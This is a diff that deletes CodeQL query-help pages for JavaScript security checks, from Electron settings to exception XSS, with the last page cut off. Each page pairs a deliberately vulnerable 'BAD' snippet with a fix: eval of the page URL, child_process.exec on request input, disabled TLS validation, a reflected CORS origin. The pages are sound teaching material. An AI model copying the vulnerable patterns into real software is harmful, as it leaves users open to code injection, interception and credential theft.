/dev/null @@ -1,37 +0,0 @@ -# Enabling Electron allowRunningInsecureContent - -``` -ID: js/enabling-electron-insecure-content -Kind: problem -Severity: error -Precision: very-high -Tags: security frameworks/electron - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/javascript/ql/src/Electron/AllowRunningInsecureContent.ql) - -Electron is secure by default through a policy banning the execution of content loaded over HTTP. Setting the `allowRunningInsecureContent` property of a `webPreferences` object to `true` will disable this policy. - -Enabling the execution of insecure content is strongly discouraged. - - -## Recommendation -Do not enable the `allowRunningInsecureContent` property. - - -## Example -The following example shows `allowRunningInsecureContent` being enabled. - - -```javascript -const mainWindow = new BrowserWindow({ - webPreferences: { - allowRunningInsecureContent: true - } -}) -``` -This is problematic, since it allows the execution of code from an untrusted origin. - - -## References -* Electron Documentation: [Security, Native Capabilities, and Your Responsibility](https://electronjs.org/docs/tutorial/security#8-do-not-set-allowrunninginsecurecontent-to-true) \ No newline at end of file diff --git a/docs/language/query-help/javascript/BadRandomness.md b/docs/language/query-help/javascript/BadRandomness.md deleted file mode 100644 index ede4de2113f..00000000000 --- a/docs/language/query-help/javascript/BadRandomness.md +++ /dev/null @@ -1,66 +0,0 @@ -# Creating biased random numbers from a cryptographically secure source. - -``` -ID: js/biased-cryptographic-random -Kind: problem -Severity: warning -Precision: high -Tags: security external/cwe/cwe-327 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/javascript/ql/src/Security/CWE-327/BadRandomness.ql) - -Generating secure random numbers can be an important part of creating a secure software system. This can be done using APIs that create cryptographically secure random numbers. - -However, using some mathematical operations on these cryptographically secure random numbers can create biased results, where some outcomes are more likely than others. Such biased results can make it easier for an attacker to guess the random numbers, and thereby break the security of the software system. - - -## Recommendation -Be very careful not to introduce bias when performing mathematical operations on cryptographically secure random numbers. - -If possible, avoid performing mathematical operations on cryptographically secure random numbers at all, and use a preexisting library instead. - - -## Example -The example below uses the modulo operator to create an array of 10 random digits using random bytes as the source for randomness. - - -```javascript -const crypto = require('crypto'); - -const digits = []; -for (let i = 0; i < 10; i++) { - digits.push(crypto.randomBytes(1)[0] % 10); // NOT OK -} -``` -The random byte is a uniformly random value between 0 and 255, and thus the result from using the modulo operator is slightly more likely to be between 0 and 5 than between 6 and 9. - -The issue has been fixed in the code below by using a library that correctly generates cryptographically secure random values. - - -```javascript -const cryptoRandomString = require('crypto-random-string'); - -const digits = cryptoRandomString({length: 10, type: 'numeric'}); -``` -Alternatively, the issue can be fixed by fixing the math in the original code. In the code below the random byte is discarded if the value is greater than or equal to 250. Thus the modulo operator is used on a uniformly random number between 0 and 249, which results in a uniformly random digit between 0 and 9. - - -```javascript -const crypto = require('crypto'); - -const digits = []; -while (digits.length < 10) { - const byte = crypto.randomBytes(1)[0]; - if (byte >= 250) { - continue; - } - digits.push(byte % 10); // OK -} -``` - -## References -* Stack Overflow: [Understanding randomness](https://stackoverflow.com/questions/3956478/understanding-randomness). -* OWASP: [Insecure Randomness](https://owasp.org/www-community/vulnerabilities/Insecure_Randomness). -* OWASP: [Rule - Use strong approved cryptographic algorithms](https://cheatsheetseries.owasp.org/cheatsheets/Cryptographic_Storage_Cheat_Sheet.html#rule---use-strong-approved-authenticated-encryption). -* Common Weakness Enumeration: [CWE-327](https://cwe.mitre.org/data/definitions/327.html). \ No newline at end of file diff --git a/docs/language/query-help/javascript/BrokenCryptoAlgorithm.md b/docs/language/query-help/javascript/BrokenCryptoAlgorithm.md deleted file mode 100644 index 7f0b1cf0bb6..00000000000 --- a/docs/language/query-help/javascript/BrokenCryptoAlgorithm.md +++ /dev/null @@ -1,43 +0,0 @@ -# Use of a broken or weak cryptographic algorithm - -``` -ID: js/weak-cryptographic-algorithm -Kind: path-problem -Severity: warning -Precision: high -Tags: security external/cwe/cwe-327 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/javascript/ql/src/Security/CWE-327/BrokenCryptoAlgorithm.ql) - -Using broken or weak cryptographic algorithms can leave data vulnerable to being decrypted or forged by an attacker. - -Many cryptographic algorithms provided by cryptography libraries are known to be weak, or flawed. Using such an algorithm means that encrypted or hashed data is less secure than it appears to be. - - -## Recommendation -Ensure that you use a strong, modern cryptographic algorithm. Use at least AES-128 or RSA-2048 for encryption, and SHA-2 or SHA-3 for secure hashing. - - -## Example -The following code shows an example of using the builtin cryptographic library of NodeJS to encrypt some secret data. When creating a `Cipher` instance to encrypt the secret data with, you must specify the encryption algorithm to use. The first example uses DES, which is an older algorithm that is now considered weak. The second example uses AES, which is a strong modern algorithm. - - -```javascript -const crypto = require('crypto'); - -var secretText = obj.getSecretText(); - -const desCipher = crypto.createCipher('des', key); -let desEncrypted = desCipher.write(secretText, 'utf8', 'hex'); // BAD: weak encryption - -const aesCipher = crypto.createCipher('aes-128', key); -let aesEncrypted = aesCipher.update(secretText, 'utf8', 'hex'); // GOOD: strong encryption - -``` - -## References -* NIST, FIPS 140 Annex a: [ Approved Security Functions](http://csrc.nist.gov/publications/fips/fips140-2/fips1402annexa.pdf). -* NIST, SP 800-131A: [ Transitions: Recommendation for Transitioning the Use of Cryptographic Algorithms and Key Lengths](http://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-131Ar1.pdf). -* OWASP: [Rule - Use strong approved cryptographic algorithms](https://cheatsheetseries.owasp.org/cheatsheets/Cryptographic_Storage_Cheat_Sheet.html#rule---use-strong-approved-authenticated-encryption). -* Common Weakness Enumeration: [CWE-327](https://cwe.mitre.org/data/definitions/327.html). \ No newline at end of file diff --git a/docs/language/query-help/javascript/BuildArtifactLeak.md b/docs/language/query-help/javascript/BuildArtifactLeak.md deleted file mode 100644 index 2ca9dc9ae72..00000000000 --- a/docs/language/query-help/javascript/BuildArtifactLeak.md +++ /dev/null @@ -1,57 +0,0 @@ -# Storage of sensitive information in build artifact - -``` -ID: js/build-artifact-leak -Kind: path-problem -Severity: error -Precision: high -Tags: security external/cwe/cwe-312 external/cwe/cwe-315 external/cwe/cwe-359 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/javascript/ql/src/Security/CWE-312/BuildArtifactLeak.ql) - -Sensitive information included in a build artifact can allow an attacker to access the sensitive information if the artifact is published. - - -## Recommendation -Only store information that is meant to be publicly available in a build artifact. - - -## Example -The following example creates a `webpack` configuration that inserts all environment variables from the host into the build artifact: - - -```javascript -const webpack = require("webpack"); - -module.exports = [{ - plugins: [ - new webpack.DefinePlugin({ - "process.env": JSON.stringify(process.env) - }) - ] -}]; -``` -The environment variables might include API keys or other sensitive information, and the build-system should instead insert only the environment variables that are supposed to be public. - -The issue has been fixed below, where only the `DEBUG` environment variable is inserted into the artifact. - - -```javascript -const webpack = require("webpack"); - -module.exports = [{ - plugins: [ - new webpack.DefinePlugin({ - 'process.env': JSON.stringify({ DEBUG: process.env.DEBUG }) - }) - ] -}]; - -``` - -## References -* webpack: [DefinePlugin API](https://webpack.js.org/plugins/define-plugin/). -* Common Weakness Enumeration: [CWE-312](https://cwe.mitre.org/data/definitions/312.html). -* Common Weakness Enumeration: [CWE-315](https://cwe.mitre.org/data/definitions/315.html). -* Common Weakness Enumeration: [CWE-359](https://cwe.mitre.org/data/definitions/359.html). \ No newline at end of file diff --git a/docs/language/query-help/javascript/CleartextLogging.md b/docs/language/query-help/javascript/CleartextLogging.md deleted file mode 100644 index 5d5097e8d76..00000000000 --- a/docs/language/query-help/javascript/CleartextLogging.md +++ /dev/null @@ -1,66 +0,0 @@ -# Clear-text logging of sensitive information - -``` -ID: js/clear-text-logging -Kind: path-problem -Severity: error -Precision: high -Tags: security external/cwe/cwe-312 external/cwe/cwe-315 external/cwe/cwe-359 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/javascript/ql/src/Security/CWE-312/CleartextLogging.ql) - -Sensitive information that is stored unencrypted is accessible to an attacker who gains access to the storage. This is particularly important for cookies, which are stored on the machine of the end-user. - - -## Recommendation -Ensure that sensitive information is always encrypted before being stored. If possible, avoid placing sensitive information in cookies altogether. Instead, prefer storing, in the cookie, a key that can be used to look up the sensitive information. - -In general, decrypt sensitive information only at the point where it is necessary for it to be used in cleartext. - -Be aware that external processes often store the `standard out` and `standard error` streams of the application, causing logged sensitive information to be stored as well. - - -## Example -The following example code stores user credentials (in this case, their password) in a cookie in plain text: - - -```javascript -var express = require('express'); - -var app = express(); -app.get('/remember-password', function (req, res) { - let pw = req.param("current_password"); - // BAD: Setting a cookie value with cleartext sensitive data. - res.cookie("password", pw); -}); - -``` -Instead, the credentials should be encrypted, for instance by using the Node.js `crypto` module: - - -```javascript -var express = require('express'); -var crypto = require('crypto'), - password = getPassword(); - -function encrypt(text){ - var cipher = crypto.createCipher('aes-256-ctr', password); - return cipher.update(text, 'utf8', 'hex') + cipher.final('hex'); -} - -var app = express(); -app.get('/remember-password', function (req, res) { - let pw = req.param("current_password"); - // GOOD: Encoding the value before setting it. - res.cookie("password", encrypt(pw)); -}); - -``` - -## References -* M. Dowd, J. McDonald and J. Schuhm, *The Art of Software Security Assessment*, 1st Edition, Chapter 2 - 'Common Vulnerabilities of Encryption', p. 43. Addison Wesley, 2006. -* M. Howard and D. LeBlanc, *Writing Secure Code*, 2nd Edition, Chapter 9 - 'Protecting Secret Data', p. 299. Microsoft, 2002. -* Common Weakness Enumeration: [CWE-312](https://cwe.mitre.org/data/definitions/312.html). -* Common Weakness Enumeration: [CWE-315](https://cwe.mitre.org/data/definitions/315.html). -* Common Weakness Enumeration: [CWE-359](https://cwe.mitre.org/data/definitions/359.html). \ No newline at end of file diff --git a/docs/language/query-help/javascript/CleartextStorage.md b/docs/language/query-help/javascript/CleartextStorage.md deleted file mode 100644 index 8601e4a98b1..00000000000 --- a/docs/language/query-help/javascript/CleartextStorage.md +++ /dev/null @@ -1,66 +0,0 @@ -# Clear text storage of sensitive information - -``` -ID: js/clear-text-storage-of-sensitive-data -Kind: path-problem -Severity: error -Precision: high -Tags: security external/cwe/cwe-312 external/cwe/cwe-315 external/cwe/cwe-359 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/javascript/ql/src/Security/CWE-312/CleartextStorage.ql) - -Sensitive information that is stored unencrypted is accessible to an attacker who gains access to the storage. This is particularly important for cookies, which are stored on the machine of the end-user. - - -## Recommendation -Ensure that sensitive information is always encrypted before being stored. If possible, avoid placing sensitive information in cookies altogether. Instead, prefer storing, in the cookie, a key that can be used to look up the sensitive information. - -In general, decrypt sensitive information only at the point where it is necessary for it to be used in cleartext. - -Be aware that external processes often store the `standard out` and `standard error` streams of the application, causing logged sensitive information to be stored as well. - - -## Example -The following example code stores user credentials (in this case, their password) in a cookie in plain text: - - -```javascript -var express = require('express'); - -var app = express(); -app.get('/remember-password', function (req, res) { - let pw = req.param("current_password"); - // BAD: Setting a cookie value with cleartext sensitive data. - res.cookie("password", pw); -}); - -``` -Instead, the credentials should be encrypted, for instance by using the Node.js `crypto` module: - - -```javascript -var express = require('express'); -var crypto = require('crypto'), - password = getPassword(); - -function encrypt(text){ - var cipher = crypto.createCipher('aes-256-ctr', password); - return cipher.update(text, 'utf8', 'hex') + cipher.final('hex'); -} - -var app = express(); -app.get('/remember-password', function (req, res) { - let pw = req.param("current_password"); - // GOOD: Encoding the value before setting it. - res.cookie("password", encrypt(pw)); -}); - -``` - -## References -* M. Dowd, J. McDonald and J. Schuhm, *The Art of Software Security Assessment*, 1st Edition, Chapter 2 - 'Common Vulnerabilities of Encryption', p. 43. Addison Wesley, 2006. -* M. Howard and D. LeBlanc, *Writing Secure Code*, 2nd Edition, Chapter 9 - 'Protecting Secret Data', p. 299. Microsoft, 2002. -* Common Weakness Enumeration: [CWE-312](https://cwe.mitre.org/data/definitions/312.html). -* Common Weakness Enumeration: [CWE-315](https://cwe.mitre.org/data/definitions/315.html). -* Common Weakness Enumeration: [CWE-359](https://cwe.mitre.org/data/definitions/359.html). \ No newline at end of file diff --git a/docs/language/query-help/javascript/ClientSideUrlRedirect.md b/docs/language/query-help/javascript/ClientSideUrlRedirect.md deleted file mode 100644 index fc5630abd8c..00000000000 --- a/docs/language/query-help/javascript/ClientSideUrlRedirect.md +++ /dev/null @@ -1,33 +0,0 @@ -# Client-side URL redirect - -``` -ID: js/client-side-unvalidated-url-redirection -Kind: path-problem -Severity: error -Precision: high -Tags: security external/cwe/cwe-079 external/cwe/cwe-116 external/cwe/cwe-601 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/javascript/ql/src/Security/CWE-601/ClientSideUrlRedirect.ql) - -Redirecting to a URL that is constructed from parts of the DOM that may be controlled by an attacker can facilitate phishing attacks. In these attacks, unsuspecting users can be redirected to a malicious site that looks very similar to the real site they intend to visit, but which is controlled by the attacker. - - -## Recommendation -To guard against untrusted URL redirection, it is advisable to avoid putting user input directly into a redirect URL. Instead, maintain a list of authorized redirects on the server; then choose from that list based on the user input provided. - - -## Example -The following example uses a regular expression to extract a query parameter from the document URL, and then uses it to construct a new URL to redirect to without any further validation. This may allow an attacker to craft a link that redirects from a trusted website to some arbitrary website of their choosing, which facilitates phishing attacks: - - -```javascript -window.location = /.*redirect=([^&]*).*/.exec(document.location.href)[1]; - -``` - -## References -* OWASP: [ XSS Unvalidated Redirects and Forwards Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html). -* Common Weakness Enumeration: [CWE-79](https://cwe.mitre.org/data/definitions/79.html). -* Common Weakness Enumeration: [CWE-116](https://cwe.mitre.org/data/definitions/116.html). -* Common Weakness Enumeration: [CWE-601](https://cwe.mitre.org/data/definitions/601.html). \ No newline at end of file diff --git a/docs/language/query-help/javascript/CodeInjection.md b/docs/language/query-help/javascript/CodeInjection.md deleted file mode 100644 index 3d53cee6e66..00000000000 --- a/docs/language/query-help/javascript/CodeInjection.md +++ /dev/null @@ -1,34 +0,0 @@ -# Code injection - -``` -ID: js/code-injection -Kind: path-problem -Severity: error -Precision: high -Tags: security external/cwe/cwe-094 external/cwe/cwe-079 external/cwe/cwe-116 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/javascript/ql/src/Security/CWE-094/CodeInjection.ql) - -Directly evaluating user input (for example, an HTTP request parameter) as code without properly sanitizing the input first allows an attacker arbitrary code execution. This can occur when user input is treated as JavaScript, or passed to a framework which interprets it as an expression to be evaluated. Examples include AngularJS expressions or JQuery selectors. - - -## Recommendation -Avoid including user input in any expression which may be dynamically evaluated. If user input must be included, use context-specific escaping before including it. It is important that the correct escaping is used for the type of evaluation that will occur. - - -## Example -The following example shows part of the page URL being evaluated as JavaScript code. This allows an attacker to provide JavaScript within the URL. If an attacker can persuade a user to click on a link to such a URL, the attacker can evaluate arbitrary JavaScript in the browser of the user to, for example, steal cookies containing session information. - - -```javascript -eval(document.location.href.substring(document.location.href.indexOf("default=")+8)) - -``` - -## References -* OWASP: [Code Injection](https://www.owasp.org/index.php/Code_Injection). -* Wikipedia: [Code Injection](https://en.wikipedia.org/wiki/Code_injection). -* Common Weakness Enumeration: [CWE-94](https://cwe.mitre.org/data/definitions/94.html). -* Common Weakness Enumeration: [CWE-79](https://cwe.mitre.org/data/definitions/79.html). -* Common Weakness Enumeration: [CWE-116](https://cwe.mitre.org/data/definitions/116.html). \ No newline at end of file diff --git a/docs/language/query-help/javascript/CommandInjection.md b/docs/language/query-help/javascript/CommandInjection.md deleted file mode 100644 index ee600f0cdee..00000000000 --- a/docs/language/query-help/javascript/CommandInjection.md +++ /dev/null @@ -1,42 +0,0 @@ -# Uncontrolled command line - -``` -ID: js/command-line-injection -Kind: path-problem -Severity: error -Precision: high -Tags: correctness security external/cwe/cwe-078 external/cwe/cwe-088 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/javascript/ql/src/Security/CWE-078/CommandInjection.ql) - -Code that passes user input directly to `require('child_process').exec`, or some other library routine that executes a command, allows the user to execute malicious code. - - -## Recommendation -If possible, use hard-coded string literals to specify the command to run or library to load. Instead of passing the user input directly to the process or library function, examine the user input and then choose among hard-coded string literals. - -If the applicable libraries or commands cannot be determined at compile time, then add code to verify that the user input string is safe before using it. - - -## Example -The following example shows code that takes a shell script that can be changed maliciously by a user, and passes it straight to `child_process.exec` without examining it first. - - -```javascript -var cp = require("child_process"), - http = require('http'), - url = require('url'); - -var server = http.createServer(function(req, res) { - let cmd = url.parse(req.url, true).query.path; - - cp.exec(cmd); // BAD -}); - -``` - -## References -* OWASP: [Command Injection](https://www.owasp.org/index.php/Command_Injection). -* Common Weakness Enumeration: [CWE-78](https://cwe.mitre.org/data/definitions/78.html). -* Common Weakness Enumeration: [CWE-88](https://cwe.mitre.org/data/definitions/88.html). \ No newline at end of file diff --git a/docs/language/query-help/javascript/ConditionalBypass.md b/docs/language/query-help/javascript/ConditionalBypass.md deleted file mode 100644 index d9812c6f614..00000000000 --- a/docs/language/query-help/javascript/ConditionalBypass.md +++ /dev/null @@ -1,64 +0,0 @@ -# User-controlled bypass of security check - -``` -ID: js/user-controlled-bypass -Kind: path-problem -Severity: error -Precision: medium -Tags: security external/cwe/cwe-807 external/cwe/cwe-290 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/javascript/ql/src/Security/CWE-807/ConditionalBypass.ql) - -Using user-controlled data in a permissions check may allow a user to gain unauthorized access to protected functionality or data. - - -## Recommendation -When checking whether a user is authorized for a particular activity, do not use data that is entirely controlled by that user in the permissions check. If necessary, always validate the input, ideally against a fixed list of expected values. - -Similarly, do not decide which permission to check for, based on user data. In particular, avoid using computation to decide which permissions to check for. Use fixed permissions for particular actions, rather than generating the permission to check for. - - -## Example -In this example, we have a server that shows private information for a user, based on the request parameter `userId`. For privacy reasons, users may only view their own private information, so the server checks that the request parameter `userId` matches a cookie value for the user who is logged in. - - -```javascript -var express = require('express'); -var app = express(); -// ... -app.get('/full-profile/:userId', function(req, res) { - - if (req.cookies.loggedInUserId !== req.params.userId) { - // BAD: login decision made based on user controlled data - requireLogin(); - } else { - // ... show private information - } - -}); - -``` -This security check is, however, insufficient since an attacker can craft his cookie values to match those of any user. To prevent this, the server can cryptographically sign the security critical cookie values: - - -```javascript -var express = require('express'); -var app = express(); -// ... -app.get('/full-profile/:userId', function(req, res) { - - if (req.signedCookies.loggedInUserId !== req.params.userId) { - // GOOD: login decision made based on server controlled data - requireLogin(); - } else { - // ... show private information - } - -}); - -``` - -## References -* Common Weakness Enumeration: [CWE-807](https://cwe.mitre.org/data/definitions/807.html). -* Common Weakness Enumeration: [CWE-290](https://cwe.mitre.org/data/definitions/290.html). \ No newline at end of file diff --git a/docs/language/query-help/javascript/CorsMisconfigurationForCredentials.md b/docs/language/query-help/javascript/CorsMisconfigurationForCredentials.md deleted file mode 100644 index 11c44308a1b..00000000000 --- a/docs/language/query-help/javascript/CorsMisconfigurationForCredentials.md +++ /dev/null @@ -1,78 +0,0 @@ -# CORS misconfiguration for credentials transfer - -``` -ID: js/cors-misconfiguration-for-credentials -Kind: path-problem -Severity: error -Precision: high -Tags: security external/cwe/cwe-346 external/cwe/cwe-639 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/javascript/ql/src/Security/CWE-346/CorsMisconfigurationForCredentials.ql) - -A server can send the `"Access-Control-Allow-Credentials"` CORS header to control when a browser may send user credentials in Cross-Origin HTTP requests. - -When the `Access-Control-Allow-Credentials` header is `"true"`, the `Access-Control-Allow-Origin` header must have a value different from `"*"` in order to make browsers accept the header. Therefore, to allow multiple origins for Cross-Origin requests with credentials, the server must dynamically compute the value of the `"Access-Control-Allow-Origin"` header. Computing this header value from information in the request to the server can therefore potentially allow an attacker to control the origins that the browser sends credentials to. - - -## Recommendation -When the `Access-Control-Allow-Credentials` header value is `"true"`, a dynamic computation of the `Access-Control-Allow-Origin` header must involve sanitization if it relies on user-controlled input. - -Since the `"null"` origin is easy to obtain for an attacker, it is never safe to use `"null"` as the value of the `Access-Control-Allow-Origin` header when the `Access-Control-Allow-Credentials` header value is `"true"`. - - -## Example -In the example below, the server allows the browser to send user credentials in a Cross-Origin request. The request header `origins` controls the allowed origins for such a Cross-Origin request. - - -```javascript -var https = require('https'), - url = require('url'); - -var server = https.createServer(function(){}); - -server.on('request', function(req, res) { - let origin = url.parse(req.url, true).query.origin; - // BAD: attacker can choose the value of origin - res.setHeader("Access-Control-Allow-Origin", origin); - res.setHeader("Access-Control-Allow-Credentials", true); - - // ... -}); - -``` -This is not secure, since an attacker can choose the value of the `origin` request header to make the browser send credentials to their own server. The use of a whitelist containing allowed origins for the Cross-Origin request fixes the issue: - - -```javascript -var https = require('https'), - url = require('url'); - -var server = https.createServer(function(){}); - -server.on('request', function(req, res) { - let origin = url.parse(req.url, true).query.origin, - whitelist = { - "https://example.com": true, - "https://subdomain.example.com": true, - "https://example.com:1337": true - }; - - if (origin in whitelist) { - // GOOD: the origin is in the whitelist - res.setHeader("Access-Control-Allow-Origin", origin); - res.setHeader("Access-Control-Allow-Credentials", true); - } - - // ... -}); - -``` - -## References -* Mozilla Developer Network: [CORS, Access-Control-Allow-Origin](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Access-Control-Allow-Origin). -* Mozilla Developer Network: [CORS, Access-Control-Allow-Credentials](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Access-Control-Allow-Credentials). -* PortSwigger: [Exploiting CORS Misconfigurations for Bitcoins and Bounties](http://blog.portswigger.net/2016/10/exploiting-cors-misconfigurations-for.html) -* W3C: [CORS for developers, Advice for Resource Owners](https://w3c.github.io/webappsec-cors-for-developers/#resources) -* Common Weakness Enumeration: [CWE-346](https://cwe.mitre.org/data/definitions/346.html). -* Common Weakness Enumeration: [CWE-639](https://cwe.mitre.org/data/definitions/639.html). \ No newline at end of file diff --git a/docs/language/query-help/javascript/DisablingCertificateValidation.md b/docs/language/query-help/javascript/DisablingCertificateValidation.md deleted file mode 100644 index ba0c7303288..00000000000 --- a/docs/language/query-help/javascript/DisablingCertificateValidation.md +++ /dev/null @@ -1,49 +0,0 @@ -# Disabling certificate validation - -``` -ID: js/disabling-certificate-validation -Kind: problem -Severity: error -Precision: very-high -Tags: security external/cwe-295 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/javascript/ql/src/Security/CWE-295/DisablingCertificateValidation.ql) - -Certificate validation is the standard authentication method of a secure TLS connection. Without it, there is no guarantee about who the other party of a TLS connection is, making man-in-the-middle attacks more likely to occur - -When testing software that uses TLS connections, it may be useful to disable the certificate validation temporarily. But disabling it in production environments is strongly discouraged, unless an alternative method of authentication is used. - - -## Recommendation -Do not disable certificate validation for TLS connections. - - -## Example -The following example shows a HTTPS connection that transfers confidential information to a remote server. But the connection is not secure since the `rejectUnauthorized` option of the connection is set to `false`. As a consequence, anyone can impersonate the remote server, and receive the confidential information. - - -```javascript -let https = require("https"); - -https.request( - { - hostname: "secure.my-online-bank.com", - port: 443, - method: "POST", - path: "send-confidential-information", - rejectUnauthorized: false // BAD - }, - response => { - // ... communicate with secure.my-online-bank.com - } -); - -``` -To make the connection secure, the `rejectUnauthorized` option should have its default value, or be explicitly set to `true`. - - -## References -* Wikipedia: [Transport Layer Security (TLS)](https://en.wikipedia.org/wiki/Transport_Layer_Security) -* Wikipedia: [Man-in-the-middle attack](https://en.wikipedia.org/wiki/Man-in-the-middle_attack) -* Node.js: [TLS (SSL)](https://nodejs.org/api/tls.html) \ No newline at end of file diff --git a/docs/language/query-help/javascript/DisablingSce.md b/docs/language/query-help/javascript/DisablingSce.md deleted file mode 100644 index d85446cd142..00000000000 --- a/docs/language/query-help/javascript/DisablingSce.md +++ /dev/null @@ -1,55 +0,0 @@ -# Disabling SCE - -``` -ID: js/angular/disabling-sce -Kind: problem -Severity: warning -Precision: very-high -Tags: security maintainability frameworks/angularjs - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/javascript/ql/src/AngularJS/DisablingSce.ql) - -AngularJS is secure by default through automated sanitization and filtering of untrusted values that could cause vulnerabilities such as XSS. Strict Contextual Escaping (SCE) is an execution mode in AngularJS that provides this security mechanism. - -Disabling SCE in an AngularJS application is strongly discouraged. It is even more discouraged to disable SCE in a library, since it is an application-wide setting. - - -## Recommendation -Do not disable SCE. - - -## Example -The following example shows an AngularJS application that disables SCE in order to dynamically construct an HTML fragment, which is later inserted into the DOM through `$scope.html`. - - -```javascript -angular.module('app', []) - .config(function($sceProvider) { - $sceProvider.enabled(false); // BAD - }).controller('controller', function($scope) { - // ... - $scope.html = '
    • ' + item.toString() + '
    '; - }); - -``` -This is problematic, since it disables SCE for the entire AngularJS application. - -Instead, just mark the dynamically constructed HTML fragment as safe using `$sce.trustAsHtml`, before assigning it to `$scope.html`: - - -```javascript -angular.module('app', []) - .controller('controller', function($scope, $sce) { - // ... - // GOOD (but should use the templating system instead) - $scope.html = $sce.trustAsHtml('
    • ' + item.toString() + '
    '); - }); - -``` -Please note that this example is for illustrative purposes only; use the AngularJS templating system to dynamically construct HTML when possible. - - -## References -* AngularJS Developer Guide: [Strict Contextual Escaping](https://docs.angularjs.org/api/ng/service/$sce) -* AngularJS Developer Guide: [Can I disable SCE completely?](https://docs.angularjs.org/api/ng/service/$sce#can-i-disable-sce-completely-). \ No newline at end of file diff --git a/docs/language/query-help/javascript/DisablingWebSecurity.md b/docs/language/query-help/javascript/DisablingWebSecurity.md deleted file mode 100644 index 766699394e5..00000000000 --- a/docs/language/query-help/javascript/DisablingWebSecurity.md +++ /dev/null @@ -1,37 +0,0 @@ -# Disabling Electron webSecurity - -``` -ID: js/disabling-electron-websecurity -Kind: problem -Severity: error -Precision: very-high -Tags: security frameworks/electron - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/javascript/ql/src/Electron/DisablingWebSecurity.ql) - -Electron is secure by default through a same-origin policy requiring all JavaScript and CSS code to originate from the machine running the Electron application. Setting the `webSecurity` property of a `webPreferences` object to `false` will disable the same-origin policy. - -Disabling the same-origin policy is strongly discouraged. - - -## Recommendation -Do not disable `webSecurity`. - - -## Example -The following example shows `webSecurity` being disabled. - - -```javascript -const mainWindow = new BrowserWindow({ - webPreferences: { - webSecurity: false - } -}) -``` -This is problematic, since it allows the execution of insecure code from other domains. - - -## References -* Electron Documentation: [Security, Native Capabilities, and Your Responsibility](https://electronjs.org/docs/tutorial/security#5-do-not-disable-websecurity) \ No newline at end of file diff --git a/docs/language/query-help/javascript/DoubleEscaping.md b/docs/language/query-help/javascript/DoubleEscaping.md deleted file mode 100644 index 38d0d77adf6..00000000000 --- a/docs/language/query-help/javascript/DoubleEscaping.md +++ /dev/null @@ -1,73 +0,0 @@ -# Double escaping or unescaping - -``` -ID: js/double-escaping -Kind: problem -Severity: warning -Precision: high -Tags: correctness security external/cwe/cwe-116 external/cwe/cwe-20 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/javascript/ql/src/Security/CWE-116/DoubleEscaping.ql) - -Escaping meta-characters in untrusted input is an important technique for preventing injection attacks such as cross-site scripting. One particular example of this is HTML entity encoding, where HTML special characters are replaced by HTML character entities to prevent them from being interpreted as HTML markup. For example, the less-than character is encoded as `<` and the double-quote character as `"`. Other examples include backslash-escaping for including untrusted data in string literals and percent-encoding for URI components. - -The reverse process of replacing escape sequences with the characters they represent is known as unescaping. - -Note that the escape characters themselves (such as ampersand in the case of HTML encoding) play a special role during escaping and unescaping: they are themselves escaped, but also form part of the escaped representations of other characters. Hence care must be taken to avoid double escaping and unescaping: when escaping, the escape character must be escaped first, when unescaping it has to be unescaped last. - -If used in the context of sanitization, double unescaping may render the sanitization ineffective. Even if it is not used in a security-critical context, it may still result in confusing or garbled output. - - -## Recommendation -Use a (well-tested) sanitization library if at all possible. These libraries are much more likely to handle corner cases correctly than a custom implementation. For URI encoding, you can use the standard `encodeURIComponent` and `decodeURIComponent` functions. - -Otherwise, make sure to always escape the escape character first, and unescape it last. - - -## Example -The following example shows a pair of hand-written HTML encoding and decoding functions: - - -```javascript -module.exports.encode = function(s) { - return s.replace(/&/g, "&") - .replace(/"/g, """) - .replace(/'/g, "'"); -}; - -module.exports.decode = function(s) { - return s.replace(/&/g, "&") - .replace(/"/g, "\"") - .replace(/'/g, "'"); -}; - -``` -The encoding function correctly handles ampersand before the other characters. For example, the string `me & "you"` is encoded as `me & "you"`, and the string `"` is encoded as `&quot;`. - -The decoding function, however, incorrectly decodes `&` into `&` before handling the other characters. So while it correctly decodes the first example above, it decodes the second example (`&quot;`) to `"` (a single double quote), which is not correct. - -Instead, the decoding function should decode the ampersand last: - - -```javascript -module.exports.encode = function(s) { - return s.replace(/&/g, "&") - .replace(/"/g, """) - .replace(/'/g, "'"); -}; - -module.exports.decode = function(s) { - return s.replace(/"/g, "\"") - .replace(/'/g, "'") - .replace(/&/g, "&"); -}; - -``` - -## References -* OWASP Top 10: [A1 Injection](https://www.owasp.org/index.php/Top_10-2017_A1-Injection). -* npm: [html-entities](https://www.npmjs.com/package/html-entities) package. -* npm: [js-string-escape](https://www.npmjs.com/package/js-string-escape) package. -* Common Weakness Enumeration: [CWE-116](https://cwe.mitre.org/data/definitions/116.html). -* Common Weakness Enumeration: [CWE-20](https://cwe.mitre.org/data/definitions/20.html). \ No newline at end of file diff --git a/docs/language/query-help/javascript/ExceptionXss.md b/docs/language/query-help/javascript/ExceptionXss.md deleted file mode 100644 index ecfe1537078..00000000000 --- a/docs/language/query-help/javascript/ExceptionXss.md +++ /dev/null @@ -1,45 +0,0 @@ -# Exception text reinterpreted as HTML - -``` -ID: js/xss-through-exception -Kind: path-problem -Severity: warning -Precision: high -Tags: security external/cwe/cwe-079 external/cwe/cwe-116 - -``` 